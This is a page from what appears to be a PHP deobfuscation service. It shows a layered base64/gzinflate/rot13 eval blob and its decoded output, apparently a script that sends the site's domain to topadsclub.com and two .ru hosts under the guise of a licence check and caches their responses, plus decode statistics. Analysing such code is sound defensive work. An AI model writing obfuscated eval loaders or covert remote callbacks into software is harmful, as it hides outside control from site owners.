Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrHkqzKkvyaeO/ODi15SXWtNZsxtNYU6..

Decoded Output download

//   
require 'config.php';

$domain = $config['domain'];


$filePath = "cache/" . $domain . ".txt";
$needToUpdateFile = true; // ,    

//        
if (file_exists($filePath)) {
    $lastModified = filemtime($filePath);
    $currentTime = time();

    // ,        
    if ($currentTime - $lastModified < 3600) {
        //echo "File for domain '$domain' is up-to-date.";
        $needToUpdateFile = false; //    
    }
}

if ($needToUpdateFile) {
    $urls = [
        "https://topadsclub.com/license/licence_check.php?domain=" . urlencode($domain),
        "https://cdnf0.ru/license/licence_check.php?domain=" . urlencode($domain),
        "https://cdnf2.ru/license/licence_check.php?domain=" . urlencode($domain)
    ];

    foreach ($urls as $url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //    
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //  HTTP- 
        curl_close($ch);

        //    HTTP-
        if ($response !== false && $httpCode === 200) {
            //   ,   
            file_put_contents($filePath, $response);
            //echo "File for domain '$domain' has been updated.";
            break; //      
        }
    }

    if ($response === false || $httpCode !== 200) {
        echo "Error: Unable to retrieve the file from any server.";

        if (file_exists($filePath)) {
            if (touch($filePath)) {
                echo "Timestamp of the file '$filePath' has been updated.";
            } else {
                echo "Error: Unable to update the timestamp of the file '$filePath'.";
            }
        } else {
            echo "Error: File '$filePath' does not exist.";
        }
    }
}

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrHkqzKkvyaeO/ODi15SXWtNZsxtNYU6usfnDN63dVHkRVxU2u4e6zNa/+7D1Sy3XC1/juN5Yoh/7esZrqs/xZwWxf3/7/5j6LNYEzKuiXKygVk8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Od6kU4TI63LnCHUFMOHGMkS8Lgz/LMzrgg1rtJxq4hp99Z/y7Z9kG3/uuuTDVI5KWcvF7yMNATWRwtf9CAFy52OJMPE5fMDsm1TtkragIvZXTodqOJLlyRAX3CpkP54PFj54yQBFyBS45HRU4OKDGaJXVnLfGjPbrtd5jao6tM4MC7Cd6SRoi1JRGllE2gwzg1uJlfxBU+/SXSqGPpLyUNGzcOSzHbLIH8Oj+Q2Kp934DMA4Tkok/txYOME96TWh+YflHKgJc6xuP0OM9rT2iVP1dSbvoKmLcT6OxqVIYiiAo/JGDwq4YkmonkzZsgROLWZc61vAd+dWW1S7aS2aEEZUdG7yk9EXJcxs9M4rMy+mJG+sso5UoSZw9BZrvRfTzFPjyISGUOUXfnX8liR9hofWqcaXEiCpEu47R7QJOST1M2rl5RYmqqTxvhuy3R10kbmuUEW9sp7xZl+EFMowVTPulcIQZ0RdhxrEt7ugkSYgaa7ry+jHz+korZvovzxu6aItFaNEonjTZHP3NTf/ELcl+OlnZjMlfmb1DYXE1xiqH8XzH+ojc7PUhzmMXLi8bzTmrM7H2zHmzAWOA8s2K1YjYzu5KBNxi+7l+HV7ALw6gL0MAymh5OZ0CTa06ygdDbdTJtzHsDe94kJC+JyT4NGZCa41tag0WyEs7QJn0OidflFjyS4EtEiCLOiv9HuMTmkX/tF7qtWGKnWpCCk4TP2dSnAMoIQoF+u60IukFdAgxXAsk2L834cj/6tY5zrIZ/LXr8r+Z/JXEZyIVrEt3gfnwKjun9nnJ6XtM1GCVCaTxEuIRUGrXKFchq/Fioj7nY2aqfpfWxa9Ujottfqc3Jr8YT/SGAH7fC/RYxIfz/Q239g6/39z/+8P//7Xw==')))));
?>

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 99ba823e352bb8bf887d2449bdd45b12
Eval Count 16
Decode Time 103 ms